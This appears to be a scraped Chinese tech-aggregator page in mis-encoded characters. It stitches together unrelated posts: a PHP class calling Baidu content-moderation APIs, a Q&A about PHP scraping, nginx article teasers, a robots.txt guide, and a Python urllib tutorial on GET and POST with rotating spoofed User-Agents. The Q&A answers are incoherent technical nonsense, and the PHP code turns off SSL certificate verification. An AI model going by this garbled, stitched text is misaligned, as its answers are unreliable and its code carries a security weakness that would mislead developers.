文檔很詳細,實(shí)現對用戶(hù)發(fā)布內容的審核和圖片審核非常方便簡(jiǎn)單。
我沒(méi)有使用官方的sdk,簡(jiǎn)單的集成了一個(gè)實(shí)踐。以下是我簡(jiǎn)單使用php實(shí)現的代碼演示:
use Nnt\Controller\Application;
class Sentive
{
protected $accessTokenUrl = 'https://aip.baidubce.com/oauth/2.0/token';//獲取token url
protected $textUrl = 'https://aip.baidubce.com/rest/2.0/antispam/v2/spam';//文本審核url
protected $imgUrl = 'https://aip.baidubce.com/api/v1/solution/direct/img_censor';//圖片審核url
protected $avatarUrl = 'https://aip.baidubce.com/rest/2.0/solution/v1/face_audit';//頭像審核url
protected $grant_type;
protected $client_id;
protected $client_secret;
function __construct()
{
$this->grant_type = 'client_credentials';
$this->client_id = 'xxx';//API Key
$this->client_secret = 'xxx';//Secret Key
}
static function request($url = '', $param = '')
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();//初始化curl
curl_setopt($curl, CURLOPT_URL, $postUrl);//抓取指定網(wǎng)頁(yè)
curl_setopt($curl, CURLOPT_HEADER, 0);//設置header
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//要求結果為字符串且輸出到屏幕上
curl_setopt($curl, CURLOPT_POST, 1);//post提交方式
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
$data = curl_exec($curl);//運行curl
curl_close($curl);
return $data;
}
static function request_post($url = '', $param = array(), $type)
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $postUrl);
curl_setopt($curl, CURLOPT_HEADER, 0);
// 要求結果為字符串
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
// post方式
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
if ($type == "text") {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
} else {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json;charset=utf-8'));
}
curl_setopt($curl, CURLINFO_HEADER_OUT, true);
$data = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($code === 0) {
throw new \Exception(curl_error($curl));
}
curl_close($curl);
return $data;
}
//獲取token
public function getToken()
{
$redis = Application::$shared->di->getRedis();
$post_data['grant_type'] = $this->grant_type;
$post_data['client_id'] = $this->client_id;
$post_data['client_secret'] = $this->client_secret;
$o = "";
foreach ($post_data as $k => $v) {
$o .= "$k=" . urlencode($v) . "&";
}
$post_data = substr($o, 0, -1);
$res = self::request($this->accessTokenUrl, $post_data);
$redis->setkey("filterToken", json_decode($res, true)['access_token']);
return json_decode($res, true)['access_token'];
}
//文本審核
public function textVerify($data)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->textUrl . "?access_token=" . $token;
$result = self::request_post($curl, $data, "text");
return json_decode($result, true);
}
//圖片審核
public function imgVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->imgUrl . "?access_token=" . $token;
$bodys = array(
'image' => $img,
'scenes' => array("ocr",
"face", "public", "politician", "antiporn", "terror", "webimage", "disgust",
'watermark')
);
$bodys = json_encode($bodys);
$result = self::request_post($curl, $bodys, "img");
return json_decode($result, true);
}
//頭像審核
public function avatarVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->avatarUrl . "?access_token=" . $token;
$bodys = array(
"configId" => "1",
"images" => $img
);
$result = self::request_post($curl, $bodys, "text");
return json_decode($result, true);
}
} 查看全部
php抓取網(wǎng)頁(yè)指定內容(之前做平臺內容發(fā)布審核都是自己構建一套違禁詞庫
)
之前平臺內容發(fā)布審核是通過(guò)搭建一套違禁詞庫,通過(guò)代碼中的詞庫來(lái)判斷用戶(hù)發(fā)布的內容,現在可以使用百度ai api來(lái)完成這個(gè)功能。接下來(lái)我們簡(jiǎn)單說(shuō)一下怎么做:
首先打開(kāi)百度ai開(kāi)發(fā)平臺注冊賬號
進(jìn)入控制臺
創(chuàng )建自己的應用,獲取apikey和secret key
進(jìn)入文檔頁(yè)面文字審核:
圖片審核:
文檔很詳細,實(shí)現對用戶(hù)發(fā)布內容的審核和圖片審核非常方便簡(jiǎn)單。
我沒(méi)有使用官方的sdk,簡(jiǎn)單的集成了一個(gè)實(shí)踐。以下是我簡(jiǎn)單使用php實(shí)現的代碼演示:
use Nnt\Controller\Application;
class Sentive
{
protected $accessTokenUrl = 'https://aip.baidubce.com/oauth/2.0/token';//獲取token url
protected $textUrl = 'https://aip.baidubce.com/rest/2.0/antispam/v2/spam';//文本審核url
protected $imgUrl = 'https://aip.baidubce.com/api/v1/solution/direct/img_censor';//圖片審核url
protected $avatarUrl = 'https://aip.baidubce.com/rest/2.0/solution/v1/face_audit';//頭像審核url
protected $grant_type;
protected $client_id;
protected $client_secret;
function __construct()
{
$this->grant_type = 'client_credentials';
$this->client_id = 'xxx';//API Key
$this->client_secret = 'xxx';//Secret Key
}
static function request($url = '', $param = '')
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();//初始化curl
curl_setopt($curl, CURLOPT_URL, $postUrl);//抓取指定網(wǎng)頁(yè)
curl_setopt($curl, CURLOPT_HEADER, 0);//設置header
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);//要求結果為字符串且輸出到屏幕上
curl_setopt($curl, CURLOPT_POST, 1);//post提交方式
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
$data = curl_exec($curl);//運行curl
curl_close($curl);
return $data;
}
static function request_post($url = '', $param = array(), $type)
{
if (empty($url) || empty($param)) {
return false;
}
$postUrl = $url;
$curlPost = $param;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $postUrl);
curl_setopt($curl, CURLOPT_HEADER, 0);
// 要求結果為字符串
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
// post方式
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curlPost);
if ($type == "text") {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
} else {
curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type: application/json;charset=utf-8'));
}
curl_setopt($curl, CURLINFO_HEADER_OUT, true);
$data = curl_exec($curl);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($code === 0) {
throw new \Exception(curl_error($curl));
}
curl_close($curl);
return $data;
}
//獲取token
public function getToken()
{
$redis = Application::$shared->di->getRedis();
$post_data['grant_type'] = $this->grant_type;
$post_data['client_id'] = $this->client_id;
$post_data['client_secret'] = $this->client_secret;
$o = "";
foreach ($post_data as $k => $v) {
$o .= "$k=" . urlencode($v) . "&";
}
$post_data = substr($o, 0, -1);
$res = self::request($this->accessTokenUrl, $post_data);
$redis->setkey("filterToken", json_decode($res, true)['access_token']);
return json_decode($res, true)['access_token'];
}
//文本審核
public function textVerify($data)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->textUrl . "?access_token=" . $token;
$result = self::request_post($curl, $data, "text");
return json_decode($result, true);
}
//圖片審核
public function imgVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->imgUrl . "?access_token=" . $token;
$bodys = array(
'image' => $img,
'scenes' => array("ocr",
"face", "public", "politician", "antiporn", "terror", "webimage", "disgust",
'watermark')
);
$bodys = json_encode($bodys);
$result = self::request_post($curl, $bodys, "img");
return json_decode($result, true);
}
//頭像審核
public function avatarVerify($img)
{
$redis = Application::$shared->di->getRedis();
$token = $redis->get("filterToken");
if (empty($token)) {
$token = $this->getToken();
}
$curl = $this->avatarUrl . "?access_token=" . $token;
$bodys = array(
"configId" => "1",
"images" => $img
);
$result = self::request_post($curl, $bodys, "text");
return json_decode($result, true);
}
}
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容到本地數據庫的內容對外部返回)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 54 次瀏覽 ? 2021-12-22 15:05
php抓取網(wǎng)頁(yè)指定內容到本地數據庫,然后將數據庫的內容對外部返回。那么問(wèn)題來(lái)了,你的網(wǎng)頁(yè)不是一開(kāi)始就是正常的頁(yè)面嗎?為什么你要用php去抓取,
一些html特殊字符獲取失敗了。php解析了你的html字符串。然后還需要php解析數據庫內容,然后把數據庫內容輸出到頁(yè)面上。這時(shí)你就需要用javascript將js代碼轉換成一個(gè)html代碼頁(yè)面顯示。
至少要寫(xiě)上循環(huán)
php下最容易實(shí)現的prefixing就可以。
下載個(gè)yii2這樣的后端框架,然后在這個(gè)框架內部搭建phpserver(yii2)。完美實(shí)現你的需求,這個(gè)方案的問(wèn)題是你用yii2做web服務(wù)器,可用手機管理后端,手機太笨重,地球人都知道我說(shuō)的是什么。那么你想要java代碼,要么到后臺二次封裝出一個(gè)nginx主程序,這樣的話(huà),java代碼是在你的代碼里。要么就要自己手寫(xiě)java的循環(huán),一環(huán)扣一環(huán)。
php可以打包成exe不過(guò)就是傳送數據到后端數據庫
php服務(wù)器推送,用mmap()函數。
這里做的是特殊數據格式的捕獲,第一步需要利用rt包獲取這個(gè)文件;第二步需要使用專(zhuān)門(mén)做后端轉發(fā)的軟件digrajax將數據格式轉換為php代碼格式, 查看全部
php抓取網(wǎng)頁(yè)指定內容(php抓取網(wǎng)頁(yè)指定內容到本地數據庫的內容對外部返回)
php抓取網(wǎng)頁(yè)指定內容到本地數據庫,然后將數據庫的內容對外部返回。那么問(wèn)題來(lái)了,你的網(wǎng)頁(yè)不是一開(kāi)始就是正常的頁(yè)面嗎?為什么你要用php去抓取,
一些html特殊字符獲取失敗了。php解析了你的html字符串。然后還需要php解析數據庫內容,然后把數據庫內容輸出到頁(yè)面上。這時(shí)你就需要用javascript將js代碼轉換成一個(gè)html代碼頁(yè)面顯示。
至少要寫(xiě)上循環(huán)
php下最容易實(shí)現的prefixing就可以。
下載個(gè)yii2這樣的后端框架,然后在這個(gè)框架內部搭建phpserver(yii2)。完美實(shí)現你的需求,這個(gè)方案的問(wèn)題是你用yii2做web服務(wù)器,可用手機管理后端,手機太笨重,地球人都知道我說(shuō)的是什么。那么你想要java代碼,要么到后臺二次封裝出一個(gè)nginx主程序,這樣的話(huà),java代碼是在你的代碼里。要么就要自己手寫(xiě)java的循環(huán),一環(huán)扣一環(huán)。
php可以打包成exe不過(guò)就是傳送數據到后端數據庫
php服務(wù)器推送,用mmap()函數。
這里做的是特殊數據格式的捕獲,第一步需要利用rt包獲取這個(gè)文件;第二步需要使用專(zhuān)門(mén)做后端轉發(fā)的軟件digrajax將數據格式轉換為php代碼格式,
php抓取網(wǎng)頁(yè)指定內容(猜你在找的Nginx相關(guān)文章禁止直接ip、未配置域名訪(fǎng)問(wèn)配置問(wèn)題背景)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 57 次瀏覽 ? 2021-12-14 23:30
猜猜你在尋找nginx的什么文章
Nginx禁止直接IP和未配置的域名訪(fǎng)問(wèn)配置
問(wèn)題背景最近,意外訪(fǎng)問(wèn)為在線(xiàn)域名配置的nginx IP后,發(fā)現HTTP實(shí)際上是可訪(fǎng)問(wèn)的,HTTPS direct IP access瀏覽器會(huì )報告證書(shū)不安全。單擊此處進(jìn)行詳細檢查,發(fā)現它已返回到為nginx配置的AP
生成滿(mǎn)足chrome要求的自簽名HTTPS證書(shū)
根據文章為nginx配置自簽名SSL證書(shū)。生成自簽名證書(shū)后,發(fā)現使用Chrome瀏覽器訪(fǎng)問(wèn)將報告無(wú)效的自簽名SSL證書(shū)-“subject alter”
在MacOS Sierra 10.12中構建PHP開(kāi)發(fā)環(huán)境
MacOS Sierra 11.12已經(jīng)預裝了ruby、PHP(5.>6)>)、Perl、Python和其他常見(jiàn)腳本語(yǔ)言,以及Apache HTTP服務(wù)器。因為nginx可以用作HTTP服務(wù)器
在MacOS High Sierra 10.13中構建PHP開(kāi)發(fā)環(huán)境
2017年9月26日,蘋(píng)果正式發(fā)布了新一代“MacOS”,版本為high Sierra(11.13)>。Ruby已預裝在MacOS high Sierra中(
無(wú)法啟動(dòng)nginx-高性能web服務(wù)器
報告此錯誤時(shí),我們可以檢查錯誤日志并進(jìn)入以下目錄。錯誤信息如下:解決方案:在/data/下創(chuàng )建wwwlogs目錄,重啟nginx,systemctl重啟nginx將成功啟動(dòng)
Nginx過(guò)程模型
多進(jìn)程模式在介紹nginx的進(jìn)程模型之前,請說(shuō)明nginx也支持單主單進(jìn)程模式,但這種模式效率低下,一般只在開(kāi)發(fā)環(huán)境中使用。所以這不是本文的重點(diǎn)。Nginx默認使用多條目
nginx簡(jiǎn)介
常見(jiàn)的web服務(wù)器產(chǎn)品目前市場(chǎng)上流行的web服務(wù)器主要有Apache、Microsoft IIS、sun、nginx、Tomcat、lighttpd等,從上圖可以看出,nginx的市場(chǎng)份額在不斷增加 查看全部
php抓取網(wǎng)頁(yè)指定內容(猜你在找的Nginx相關(guān)文章禁止直接ip、未配置域名訪(fǎng)問(wèn)配置問(wèn)題背景)
猜猜你在尋找nginx的什么文章
Nginx禁止直接IP和未配置的域名訪(fǎng)問(wèn)配置
問(wèn)題背景最近,意外訪(fǎng)問(wèn)為在線(xiàn)域名配置的nginx IP后,發(fā)現HTTP實(shí)際上是可訪(fǎng)問(wèn)的,HTTPS direct IP access瀏覽器會(huì )報告證書(shū)不安全。單擊此處進(jìn)行詳細檢查,發(fā)現它已返回到為nginx配置的AP
生成滿(mǎn)足chrome要求的自簽名HTTPS證書(shū)
根據文章為nginx配置自簽名SSL證書(shū)。生成自簽名證書(shū)后,發(fā)現使用Chrome瀏覽器訪(fǎng)問(wèn)將報告無(wú)效的自簽名SSL證書(shū)-“subject alter”
在MacOS Sierra 10.12中構建PHP開(kāi)發(fā)環(huán)境
MacOS Sierra 11.12已經(jīng)預裝了ruby、PHP(5.>6)>)、Perl、Python和其他常見(jiàn)腳本語(yǔ)言,以及Apache HTTP服務(wù)器。因為nginx可以用作HTTP服務(wù)器
在MacOS High Sierra 10.13中構建PHP開(kāi)發(fā)環(huán)境
2017年9月26日,蘋(píng)果正式發(fā)布了新一代“MacOS”,版本為high Sierra(11.13)>。Ruby已預裝在MacOS high Sierra中(
無(wú)法啟動(dòng)nginx-高性能web服務(wù)器
報告此錯誤時(shí),我們可以檢查錯誤日志并進(jìn)入以下目錄。錯誤信息如下:解決方案:在/data/下創(chuàng )建wwwlogs目錄,重啟nginx,systemctl重啟nginx將成功啟動(dòng)
Nginx過(guò)程模型
多進(jìn)程模式在介紹nginx的進(jìn)程模型之前,請說(shuō)明nginx也支持單主單進(jìn)程模式,但這種模式效率低下,一般只在開(kāi)發(fā)環(huán)境中使用。所以這不是本文的重點(diǎn)。Nginx默認使用多條目
nginx簡(jiǎn)介
常見(jiàn)的web服務(wù)器產(chǎn)品目前市場(chǎng)上流行的web服務(wù)器主要有Apache、Microsoft IIS、sun、nginx、Tomcat、lighttpd等,從上圖可以看出,nginx的市場(chǎng)份額在不斷增加
php抓取網(wǎng)頁(yè)指定內容(SEO新手經(jīng)常會(huì )遇到的問(wèn)題.txt怎么辦?)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 59 次瀏覽 ? 2021-12-14 23:22
Robots.txt怎么寫(xiě)?這是很多SEO新手經(jīng)常遇到的問(wèn)題。
robots.txt是搜索引擎訪(fǎng)問(wèn)網(wǎng)站時(shí)首先要檢查的文件。Robots.txt可以告訴搜索引擎你的網(wǎng)站哪些頁(yè)面可以是收錄,哪些頁(yè)面不能是收錄,如果你不想讓搜索引擎收錄你< @網(wǎng)站的部分內容,請在您的網(wǎng)站上使用robots.txt文件指定搜索引擎的抓取范圍。
也許有朋友說(shuō),我希望我可以抓取更多的搜索引擎,并禁用它?事實(shí)上,有些站長(cháng)不希望網(wǎng)站的某些頁(yè)面被抓取,因為它們出現在搜索結果中時(shí)可能對用戶(hù)沒(méi)有意義;某些網(wǎng)站管理員不希望抓取某些類(lèi)型的網(wǎng)頁(yè)。已爬取,因為它們是內容重復的網(wǎng)頁(yè),有些站長(cháng)不希望特定網(wǎng)頁(yè)被爬取,因為它是敏感或機密內容...
Robots.txt 文件在哪里?
robots.txt應該放在網(wǎng)站的根目錄下。例如,當蜘蛛訪(fǎng)問(wèn)一個(gè)網(wǎng)站(例如)時(shí),它會(huì )首先檢查網(wǎng)站中是否存在該文件。如果蜘蛛找到該文件,它會(huì )根據文件的內容確定其訪(fǎng)問(wèn)權限的范圍。
如何編寫(xiě)Robots.txt
以下是為 WordPress 博客編寫(xiě) Robots.txt 的常用方法:
User-agent: *
# Disallow all directories and files within(禁止抓取以下目錄中的文件)
Disallow: /cgi-bin/
Disallow: /wp-admin/
Disallow: /wp-includes/
# Disallow all files ending with these extensions(禁止抓取以下后綴名的文件)
Disallow: /*.php$
Disallow: /*.js$
Disallow: /*.inc$
Disallow: /*.css$
# Disallow parsing individual post feeds, categories and trackbacks..(禁止抓取Feeds,文章目錄頁(yè)面和trackbacks)
Disallow: */trackback/
Disallow: */feed/
Disallow: /category/*
如何在Robots.txt中編寫(xiě)檢測工具
robots.txt 協(xié)議不是規范,而是約定。因此,每個(gè)搜索引擎對robots.txt的遵守方式都不一樣。修改robots.txt文件時(shí),可以使用以下工具檢查是否符合規范。
谷歌網(wǎng)站管理員工具:
百度站長(cháng)工具:
機器人檢測工具:
我們可以看一個(gè)robots.txt文件的檢測結果,從中你也會(huì )學(xué)到如何編寫(xiě)Robots.txt。
原文:蝸牛博客 查看全部
php抓取網(wǎng)頁(yè)指定內容(SEO新手經(jīng)常會(huì )遇到的問(wèn)題.txt怎么辦?)
Robots.txt怎么寫(xiě)?這是很多SEO新手經(jīng)常遇到的問(wèn)題。
robots.txt是搜索引擎訪(fǎng)問(wèn)網(wǎng)站時(shí)首先要檢查的文件。Robots.txt可以告訴搜索引擎你的網(wǎng)站哪些頁(yè)面可以是收錄,哪些頁(yè)面不能是收錄,如果你不想讓搜索引擎收錄你< @網(wǎng)站的部分內容,請在您的網(wǎng)站上使用robots.txt文件指定搜索引擎的抓取范圍。
也許有朋友說(shuō),我希望我可以抓取更多的搜索引擎,并禁用它?事實(shí)上,有些站長(cháng)不希望網(wǎng)站的某些頁(yè)面被抓取,因為它們出現在搜索結果中時(shí)可能對用戶(hù)沒(méi)有意義;某些網(wǎng)站管理員不希望抓取某些類(lèi)型的網(wǎng)頁(yè)。已爬取,因為它們是內容重復的網(wǎng)頁(yè),有些站長(cháng)不希望特定網(wǎng)頁(yè)被爬取,因為它是敏感或機密內容...
Robots.txt 文件在哪里?
robots.txt應該放在網(wǎng)站的根目錄下。例如,當蜘蛛訪(fǎng)問(wèn)一個(gè)網(wǎng)站(例如)時(shí),它會(huì )首先檢查網(wǎng)站中是否存在該文件。如果蜘蛛找到該文件,它會(huì )根據文件的內容確定其訪(fǎng)問(wèn)權限的范圍。
如何編寫(xiě)Robots.txt
以下是為 WordPress 博客編寫(xiě) Robots.txt 的常用方法:
User-agent: *
# Disallow all directories and files within(禁止抓取以下目錄中的文件)
Disallow: /cgi-bin/
Disallow: /wp-admin/
Disallow: /wp-includes/
# Disallow all files ending with these extensions(禁止抓取以下后綴名的文件)
Disallow: /*.php$
Disallow: /*.js$
Disallow: /*.inc$
Disallow: /*.css$
# Disallow parsing individual post feeds, categories and trackbacks..(禁止抓取Feeds,文章目錄頁(yè)面和trackbacks)
Disallow: */trackback/
Disallow: */feed/
Disallow: /category/*
如何在Robots.txt中編寫(xiě)檢測工具
robots.txt 協(xié)議不是規范,而是約定。因此,每個(gè)搜索引擎對robots.txt的遵守方式都不一樣。修改robots.txt文件時(shí),可以使用以下工具檢查是否符合規范。
谷歌網(wǎng)站管理員工具:
百度站長(cháng)工具:
機器人檢測工具:
我們可以看一個(gè)robots.txt文件的檢測結果,從中你也會(huì )學(xué)到如何編寫(xiě)Robots.txt。

原文:蝸牛博客
php抓取網(wǎng)頁(yè)指定內容(和服務(wù)器之間被用到的方法是:GET和POST。)
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 63 次瀏覽 ? 2021-12-14 20:35
在客戶(hù)端和服務(wù)器之間的請求-響應中,最常用的兩種方法是:GET 和 POST。
從指定資源獲取請求數據;
POST-將要處理的數據提交到指定資源;
兩者的比較:
2、 我們來(lái)看看兩種抓包方式的異同點(diǎn);
(1)獲取方法
GET 方法是最常見(jiàn)和最簡(jiǎn)單的方法。默認的 HTTP 請求方法是 GET。
一般用于我們從服務(wù)器獲取數據,我們可以直接輸入URL,無(wú)需其他轉換,即所有需要請求的信息都收錄在URL中。
* 沒(méi)有請求體
* 數據必須在1K以?xún)龋?br /> * GET 請求數據會(huì )暴露在瀏覽器的地址欄中
關(guān)于獲取請求的其他一些注意事項:
常用操作:
?、僭跒g覽器地址欄中直接給出URL,那么一定是GET請求;
?、邳c(diǎn)擊頁(yè)面上的超鏈接也必須是GET請求;
?、?提交表單時(shí),表單默認使用GET請求,但可以設置為POST;
get請求是在url后面以拼接方式傳遞參數,但是如果參數是中文,則需要進(jìn)行轉碼,否則會(huì )報錯。
比如我們訪(fǎng)問(wèn)豆瓣官網(wǎng),在搜索框中輸入“電影”關(guān)鍵字:
可以看到瀏覽器中的請求是/search?q=movie
如果我們直接模擬上面的URL請求,會(huì )報如下錯誤:
UnicodeEncodeError: 'ascii' codec can't encode characters in position 14-15: ordinal not in range(128)
原因是在使用瀏覽器訪(fǎng)問(wèn)的時(shí)候,會(huì )自動(dòng)幫我們轉碼參數,但是現在我們用代碼訪(fǎng)問(wèn),所以需要我們自己處理。
from urllib.request import urlopen
from urllib.request import Request
from random import choice
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
url = "https://www.douban.com/search?q=電影"
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers)
# 5.發(fā)送請求并打印返回值
print(urlopen(req).read().decode())
修改,然后引入urlencode函數對url進(jìn)行轉碼,然后就可以正常訪(fǎng)問(wèn)了;
省略..
from urllib.parse import urlencode
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
args = {'q': '電影'}
url = "https://www.douban.com/search?{}".format(urlencode(args))
省略...
從這些可以看出get方法獲取的內容是穩定的(即每個(gè)人打開(kāi)某個(gè)網(wǎng)頁(yè)獲取的信息都是一樣的),但是使用post需要輸入特定的信息,那么獲取的網(wǎng)頁(yè)內容將是具體的。在本節下面我們將繼續。
單靠文字可能并不容易理解。建議您在上手時(shí)觀(guān)看一些配套視頻,加深對基本概念的印象,進(jìn)而在實(shí)際操作中更好地理解每一步的含義。
這里推薦給大家學(xué)習一個(gè)可以免費使用的公開(kāi)課,點(diǎn)擊下方跳轉
(2)發(fā)布方法
Post 用于向服務(wù)器發(fā)送數據以創(chuàng )建/更新資源。
通過(guò) post 發(fā)送到服務(wù)器的數據存儲在 HTTP 請求的請求體中:
POST /test/demo_form.php HTTP/1.1
Host: w3school.com.cn
name1=value1&name2=value2
帖子獲取的內容不能僅僅依靠URL獲取,需要提交一些額外的信息。
這種信息在不同的網(wǎng)頁(yè)中發(fā)揮著(zhù)不同的作用。例如,在天氣查詢(xún)網(wǎng)頁(yè)中,您可能需要輸入城市信息;在登錄某些網(wǎng)頁(yè)時(shí),它也是帳號和密碼的載體。
發(fā)布請求:
?、?地址欄中不會(huì )出現數據
?、?數據大小沒(méi)有上限
?、?有請求體
?、?如果請求正文中有中文,將使用 URL 編碼!
關(guān)于 post 請求的其他一些注意事項:
通常,提交數據的HTTP請求需要編碼成URL編碼格式,然后作為URL的一部分使用,或者作為參數傳遞給Request對象。
特殊點(diǎn):
Request請求對象中有一個(gè)data參數,post請求通過(guò)Request對象中的data屬性來(lái)存儲請求體數據。
data 是一個(gè)字典,其中收錄匹配的鍵值對。
我們在這里模擬一個(gè)登錄請求:
from urllib.request import urlopen
from urllib.request import Request
from random import choice
from urllib.parse import urlencode
# 1.url與參數處理
url = "https://www.douban.com/"
args = {
'name': 'abcdef123456',
'password': '123456'
}
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers, data=urlencode(args).encode())
# 5.發(fā)送請求并打印返回值
print(urlopen(req).read().decode())
如果沒(méi)有添加encode()函數,會(huì )報錯:
TypeError: POST data should be bytes, an iterable of bytes, or a file object. It cannot be of type str.
發(fā)布請求做一個(gè)百度翻譯:
import urllib.request as ur
import urllib.parse as up
import json
word= input('請輸入要翻譯的英語(yǔ):')
data={
'kw':word
}
data_url = up.urlencode(data)
request = ur.Request(url='https://fanyi.baidu.com/sug',data=data_url.encode('utf-8'))
reponse = ur.urlopen(request).read()
ret = json.loads(reponse)
#print(ret)
translate = ret['data'][0]['v']
print(translate)
3、總結:
Get請求和Post請求的區別
1)get 在瀏覽器回滾時(shí)是無(wú)害的,post 會(huì )再次提交請求;
2) get生成的url地址可以加書(shū)簽(加標簽),不能post;
3)get請求只能是url編碼,posts可以有多種編碼方式;
4)get 請求參數會(huì )完全保留在瀏覽器歷史記錄中,post 不會(huì )(私密瀏覽);
5) 對于參數的數據類(lèi)型,get只接受ASCII字符,post沒(méi)有限制;
6) Get請求的url傳入的參數長(cháng)度有限制,post沒(méi)有;
7)get 的安全性不如 post,因為參數直接暴露在 url 中,不能用于傳輸敏感信息;
8) url中放置了Get參數,請求體中放置了post參數;
注意: 查看全部
php抓取網(wǎng)頁(yè)指定內容(和服務(wù)器之間被用到的方法是:GET和POST。)
在客戶(hù)端和服務(wù)器之間的請求-響應中,最常用的兩種方法是:GET 和 POST。
從指定資源獲取請求數據;
POST-將要處理的數據提交到指定資源;
兩者的比較:

2、 我們來(lái)看看兩種抓包方式的異同點(diǎn);
(1)獲取方法
GET 方法是最常見(jiàn)和最簡(jiǎn)單的方法。默認的 HTTP 請求方法是 GET。
一般用于我們從服務(wù)器獲取數據,我們可以直接輸入URL,無(wú)需其他轉換,即所有需要請求的信息都收錄在URL中。
* 沒(méi)有請求體
* 數據必須在1K以?xún)龋?br /> * GET 請求數據會(huì )暴露在瀏覽器的地址欄中
關(guān)于獲取請求的其他一些注意事項:
常用操作:
?、僭跒g覽器地址欄中直接給出URL,那么一定是GET請求;
?、邳c(diǎn)擊頁(yè)面上的超鏈接也必須是GET請求;
?、?提交表單時(shí),表單默認使用GET請求,但可以設置為POST;
get請求是在url后面以拼接方式傳遞參數,但是如果參數是中文,則需要進(jìn)行轉碼,否則會(huì )報錯。
比如我們訪(fǎng)問(wèn)豆瓣官網(wǎng),在搜索框中輸入“電影”關(guān)鍵字:
可以看到瀏覽器中的請求是/search?q=movie

如果我們直接模擬上面的URL請求,會(huì )報如下錯誤:
UnicodeEncodeError: 'ascii' codec can't encode characters in position 14-15: ordinal not in range(128)
原因是在使用瀏覽器訪(fǎng)問(wèn)的時(shí)候,會(huì )自動(dòng)幫我們轉碼參數,但是現在我們用代碼訪(fǎng)問(wèn),所以需要我們自己處理。
from urllib.request import urlopen
from urllib.request import Request
from random import choice
# 1.爬取站點(diǎn)訪(fǎng)問(wèn)地址
url = "https://www.douban.com/search?q=電影"
# 2.模擬多個(gè)瀏覽器的User-Agent(分別為Chrome、Firefox、Edge)
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
]
# 3.隨機設置請求頭信息
headers = {
"User-Agent": choice(user_agents)
}
# 4.將請求頭信息封裝到Request對象中
req = Request(url, headers=headers)
# 5.發(fā)送請求并打印返回值
